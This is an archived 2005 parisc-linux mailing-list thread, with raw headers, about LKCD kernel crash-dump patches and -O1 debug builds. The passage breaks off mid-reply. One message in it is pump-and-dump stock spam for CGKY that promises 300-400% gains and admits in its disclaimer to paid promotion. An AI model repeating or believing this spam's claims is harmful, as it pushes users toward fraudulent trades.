Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 18xyY1IIeSEkdr6WZHQhaXN1IGRvb4DT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25179

Hello Grant,


Grant Grundler wrote:
> On Thu, Jul 21, 2005 at 12:36:27AM -0400, Carlos O'Donell wrote:
> 
>>We need better tools for this... I wonder if we still have lkcd support
>>for hppa.
> 
> 
> I have the "most recent" (2.4.20) patch from Bruno Vidal 
> and he had it working on most of the platforms (32 and 64-bit).
> It didn't get included becuase of (my) lack of time to integrate
> and the fact that it wasn't popular at the time. I'm really
> happy to see that's changed.
> 
> Bruno, is that posted someplace publicly or can I post it?
> (I'm hoping Bruno is still subscribed to p-l)
> 
No news?

> 
>>If we had lkcd support would you be willing to run a modified kernel on
>>parisc-linux?
> 
> 
> I would.
> In fact, I'd change all the default config files to include it.
> 
Do you have more recent stuff then what is available in ftp.p-l.org?

Thanks,
     Joel

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest palinux crash
Date: Mon, 15 Aug 2005 13:37:41 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <20050815193741.GA31321@colo.lackof.org>
References: <20050720122227.GK10156@parcelfarce.linux.theplanet.co.uk>
	<20050721043626.GY30182@systemhalted.org>
	<20050721123045.GA27330@colo.lackof.org>
	<4300A96D.5090806@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624559 27129 80.91.229.3 (22 Nov 2014 02:49:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:19 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:28:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Aug 2005 19:32:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx032) with SMTP; 15 Aug 2005 21:32:28 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D9BAD7D6FF;
	Mon, 15 Aug 2005 13:32:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01707-07; Mon, 15 Aug 2005 13:32:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AE8D17D6FB;
	Mon, 15 Aug 2005 13:32:24 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E34687D6E1
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Aug 2005 13:32:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01248-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Aug 2005 13:32:20 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 6B3AD7D6DF
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Aug 2005 13:32:20 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id DE3AF6D6646; Mon, 15 Aug 2005 13:32:19 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 9A5C46D6642
	for <parisc-linux@parisc-linux.org>;
	Mon, 15 Aug 2005 13:32:19 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 57F98360069;
	Mon, 15 Aug 2005 13:37:44 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18439-08; Mon, 15 Aug 2005 13:37:41 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id E90BB360067; Mon, 15 Aug 2005 13:37:41 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4300A96D.5090806@tiscali.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: mohyY8s5eSEkUr6WZHQhaXN1IGRvbwAF
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25180

On Mon, Aug 15, 2005 at 02:40:45PM +0000, Joel Soete wrote:
> >I have the "most recent" (2.4.20) patch from Bruno Vidal 
> >and he had it working on most of the platforms (32 and 64-bit).
> >It didn't get included becuase of (my) lack of time to integrate
> >and the fact that it wasn't popular at the time. I'm really
> >happy to see that's changed.
> >
> >Bruno, is that posted someplace publicly or can I post it?
> >(I'm hoping Bruno is still subscribed to p-l)
>
> No news?

Is this the right patch?
	ftp.parisc-linux.org:patches/dump_modules-2.4.20-pa32.patch.gz

-rw-r--r--  1 tausq cvsusers 42166 Apr  8  2003 dump_modules-2.4.20-pa32.patch.z

> Do you have more recent stuff then what is available in ftp.p-l.org?

sorry - If I do, I'm not sure where.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest palinux crash
Date: Tue, 16 Aug 2005 11:30:40 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <ILB6F4$E18FB548873F17079F03F09636E06452@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624559 27271 80.91.229.3 (22 Nov 2014 02:49:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:19 +0000 (UTC)
Cc: tsg45800 <tsg45800@scarlet.be>,
 parisc-linux <parisc-linux@parisc-linux.org>
To: "grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Aug 2005 09:30:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx051) with SMTP; 16 Aug 2005 11:30:53 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 669837D706;
	Tue, 16 Aug 2005 03:30:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05478-09; Tue, 16 Aug 2005 03:30:50 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3FE8B7D708;
	Tue, 16 Aug 2005 03:30:49 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B2EC7D6FA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 03:30:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05478-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 03:30:44 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 154C77D6F8
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 03:30:44 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 679DF6D6646; Tue, 16 Aug 2005 03:30:43 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by palinux.hppa (Postfix) with ESMTP id 8855D494035;
	Tue, 16 Aug 2005 03:30:42 -0600 (MDT)
Original-Received: from (everest.is.scarlet.be [193.74.71.40]) 
	by guri.is.scarlet.be  with ESMTP id j7G9Ue213343; 
	Tue, 16 Aug 2005 11:30:40 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GddzY7BveSEkQb6WZHQhaXN1IGRvbwCE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25181

> On Mon, Aug 15, 2005 at 02:40:45PM +0000, Joel Soete wrote:
> > >I have the "most recent" (2.4.20) patch from Bruno Vidal 
     ^^^ just make me thought you have something newest ;-)

> > >and he had it working on most of the platforms (32 and 64-bit).
> > >It didn't get included becuase of (my) lack of time to integrate
> > >and the fact that it wasn't popular at the time. I'm really
> > >happy to see that's changed.
> > >
> > >Bruno, is that posted someplace publicly or can I post it?
> > >(I'm hoping Bruno is still subscribed to p-l)
> >
> > No news?
> 
> Is this the right patch?
> 	ftp.parisc-linux.org:patches/dump_modules-2.4.20-pa32.patch.gz
> 
> -rw-r--r--  1 tausq cvsusers 42166 Apr  8  2003 dump_modules-2.4.20-pa3=
2.patch.z

Yes and the associated crashtools.tar.gz  :-)

> 
> > Do you have more recent stuff then what is available in ftp.p-l.org?
> 
> sorry - If I do, I'm not sure where.
> 
No pb just want to be sure to start work on good basis :-)

Thanks,
    Joel=0A=0A-----------------------------------------------------------=
----=0AA free anti-spam and anti-virus filter on all Scarlet mailboxes=0A=
More info on http://www.scarlet.be/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Isolde <lasts@furlong.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New SmallCap Growth stock
Date: Mon, 8 Aug 2005 14:15:12 -0400
Lines: 100
Approved: news@gmane.org
Message-ID: <93476103823.888481121@pool-71-247-198-63.nycmny.east.verizon.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624559 27273 80.91.229.3 (22 Nov 2014 02:49:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:19 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Aug 2005 18:11:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx010) with SMTP; 08 Aug 2005 20:11:09 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B2867D687;
	Mon,  8 Aug 2005 12:11:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10453-05; Mon, 8 Aug 2005 12:11:05 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 828307D688;
	Mon,  8 Aug 2005 12:11:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B52B27D686
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Aug 2005 12:11:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10453-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 8 Aug 2005 12:11:01 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 37C417D684
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Aug 2005 12:11:01 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id D63A376901; Mon,  8 Aug 2005 12:11:00 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pool-71-247-198-63.nycmny.east.verizon.net
	(pool-71-247-198-63.nycmny.east.verizon.net [71.247.198.63])
	by palinux.hppa (Postfix) with SMTP id 7D023768FC
	for <parisc-linux@parisc-linux.org>;
	Mon,  8 Aug 2005 12:10:53 -0600 (MDT)
Original-Received: from [80.50.125.100] (port=3593 helo=[languished])
	by pool-71-247-198-63.nycmny.east.verizon.net with esmtp 
	id 3119749irrelevantly52737
	for parisc-linux@parisc-linux.org; Mon, 8 Aug 2005 14:15:13 -0400
X-Mailer: reconsideration misrepresentation
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: acWFYrNDeSEkeL6WZHQhaXN1IGRvb0Ae
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25182

CGKY--CGKY--CGKY--CGKY--CGKY--CGKY--CGKY--CGKY--CGKY--CGKY--CGKY

$ GET IN NOW!!! You know the old saying, buy the
rumor and sell on the news. Once the news is out it is time to get
ready for next rally...$


Hot Stocks-Investor ALERT!!!
SYMBOL: CGKY
Timing is everything!
Profits of 300-400 % EXPECTED
TRADING SYMBOL: CGKY
Opening Price:  $.16
10 Day Target: $.60


LAS VEGAS--(BUSINESS WIRE)--Aug. 3, 2005--Carnegie Cooke & Company, Inc. (CGKY.PK)
is in the process of acquiring two new locations in Niteroi, the island city adjoining Rio de Janeiro.
Niteroi is one of the most affluent suburbs in Brazil. Its population is greater than 500,000
with a daily average of 300,000 commuters. These potential new locations are in addition
to the existing domestic revenue generating OTB's currently being expanded in Campos and Macae.
Carnegie Cooke recently signed a three year contract, with an option for three additional years,
for exclusivity with the Jockey Club de Campus to operate both domestic and international simulcast signals
related to the turf industry throughout the state of Rio de Janeiro.

With ownership of the Campus facility, the domestic betting signal allows access
to forty existing accredited domestic simulcast signal OTB's within the state of Rio de Janeiro.
Management is in the process of analyzing these sites for the inclusion into its expanding OTB network.

A $1,000 dollar investment could yield a $5,000 dollar profit in
just one trade if you trade out at the top. CGKY should be one of the most
profitable stocks to trade this year. In this range the stock has
potential to move in either direction in big wings. This means you should be able to buy at the
lows and sell at the highs for months to come.

***Make no mistake: Our mission at Hot-Stocks-Investors is to claw our way through
the thousands of underperforming companies out there to find the golden needle in the haystack
the micro-cap DIAMOND that can make you rich. More often than not, the stocks we profile show
a significant increase in stock price and sometimes in days, not months or years.

IF YOU ARE RECEIVING THIS EMAIL, YOU ARE AMONG THE FIRST PUBLIC INVESTORS TO KNOW ABOUT
CGKY !!! WE WISH YOU LUCK AND REMEMBER THE SAYING, TRADE AT THE TOP!!!





Disclaimer:
Information within this email contains "forwardlooking statements" within
the meaning of Section 27Aof the Securities Act of 1933 and Section 21B of
the Securities Exchange Act of 1934. Any statements that express or involve
discussions with respect to predictions, expectations, beliefs,
plans, projections, objectives, goals, assumptions or future events or
performance are not statements of historical fact and may be "forward
looking statements". "Forward looking statements" are based on
expectations, estimates and projections at the time the statements are made
that involve a number of risks and uncertainties which could cause actual
results or events to differ materially from those presently anticipated.
Forward looking statements in this action may be identified through the use
of words such as "projects", "foresee", "expects", "will", "anticipates",
"estimates", "believes", "understands" or that by statements indicating
certain actions "may", "could", or "might" occur. Risk factors include
general economic and business conditions, the ability to acquire and develop
specific projects, the ability to fund operations and changes in consumer
and business consumption habits and other factors overwhich the company has
little or no control. The publisher of this newsletter does not represent
that the information contained in this message states all material facts or
does not omit a material fact necessary to make the statements therein not
misleading. All information provided within this email pertaining to
investing, ST0CKs, securities must be understood as information provided and
not investment advice. The publisher of this newsletter advises all readers
and subscribers to seek advice from a registered professional securities
representative before deciding to trade in ST0CKs featured within this
email. None of the material within this report shall be construed as any
kind of investment advice or solicitation. Many of these companies are on
the verge of bankruptcy. You can lose all your money by investing in this
ST0CK. We urge you to read the company's SEC filings now, before you invest.
The publisher of this newsletter is not a registered invstment advisor.
Subscribers should not view information herein as legal, tax, accounting or
investment advice. In compliance with the SecuritiesAct of 1933, Section
17(b), The publisher of this newsletter is contracted to receive six hundred
thousand free trading shares from a third party, not an officer, director or
affiliate shareholder for the circulation of this report. Be aware of an
inherent conflict of interest resulting from such compensation due to the
fact that this is a paid advertisement and is not without bias. The party
that paid us has a position in the ST0CK they will sell at anytime without
notice. This could have a negative impact on the price of the ST0CK, causing
you to lose money. All factual information in this report was gathered from
public sources, including but not limited to SEC filings, Company Websites
and Company Press Releases. The publisher of this newsletter believes this
information to be reliable but can make no guarantee as to its accuracy or
completeness. Use of the material within this email constitutes your


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest palinux crash
Date: Mon, 08 Aug 2005 19:29:26 +0000
Lines: 58
Approved: news@gmane.org
Message-ID: <42F7B296.7020504@tiscali.be>
References: <200507261637.j6QGb4vs008289@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624560 27277 80.91.229.3 (22 Nov 2014 02:49:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:20 +0000 (UTC)
Cc: carlos@systemhalted.org,
 parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:28:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Aug 2005 19:29:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx048) with SMTP; 08 Aug 2005 21:29:43 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D62C97D697;
	Mon,  8 Aug 2005 13:29:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10941-08; Mon, 8 Aug 2005 13:29:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E15487D69C;
	Mon,  8 Aug 2005 13:29:38 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3D1007D688
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Aug 2005 13:29:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10941-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 8 Aug 2005 13:29:34 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id BD3E87D679
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Aug 2005 13:29:34 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 4DF5565E0A3; Mon,  8 Aug 2005 13:29:32 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by palinux.hppa (Postfix) with ESMTP id 9741E65E0A0;
	Mon,  8 Aug 2005 13:29:31 -0600 (MDT)
Original-Received: from ([80.236.202.112]) 
	by guri.is.scarlet.be  with ESMTP id j78JTR213553; 
	Mon, 8 Aug 2005 21:29:27 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.10) Gecko/20050802 Debian/1.7.10-1
X-Accept-Language: en
In-Reply-To: <200507261637.j6QGb4vs008289@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /9eFYoExeSEkQr6WZHQhaXN1IGRvbwBM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25183



John David Anglin wrote:
>>(but I could never experiment it because of it's so big size: iirc about 60Mb for the 2.4 and this time my dump (swap) area was too 
> 
> 
> That doesn't make sense.  The addition of debug info shouldn't change
> the size of a core dump.  It's the code and data needed to actual do
> the dump that increases the kernel size.
> 
Ah sorry for confusion but the two things are not related and not related to coredump size:
	o first the executable vmlinux was very big
	  (as plao doesn't yet support a compressed vmlinuz it was
	   hard to find a place at this time to copy it to an easy
	   access path /boot a dedicated slice of only 30Mb
	   but now increased to 128 for this reason ;-)
	o oth the ram of the system 2Gb (N4k) and only 256Mb of swap
	  also used to dump the kernel core; even thought linux didn't
	  use the all ram but well regualry about 1.4Gb
	  (or I would have to sacrify another fs?)

> 
>>>I recommend building
>>>with -O1 instead of -O2.
>>>
>>
>>mmm could it not be too much invasive?
> 
> 
> I don't think so.  Optimization shouldn't change code behavior. While
Agreed.

> it's true that a change in execution speed might break some realtime
> code, if this happens in linux, it's probably a bug.
> 
> 
>>I mean we are going to change completely the insn flow and btw the time diagram as I experiment:
>>some weeks ago, I was working on ccio-dma for 64bit kernel on a d380 on which I noticed a dramtic slow down of the boot (more then 
>>an hour in place of 5 min for its 32bit twin).
> 
> 
> In most cases, there's only a small change in execution speed and sometimes
> -O1 is faster.  The above change is abnormally large and suggests that a
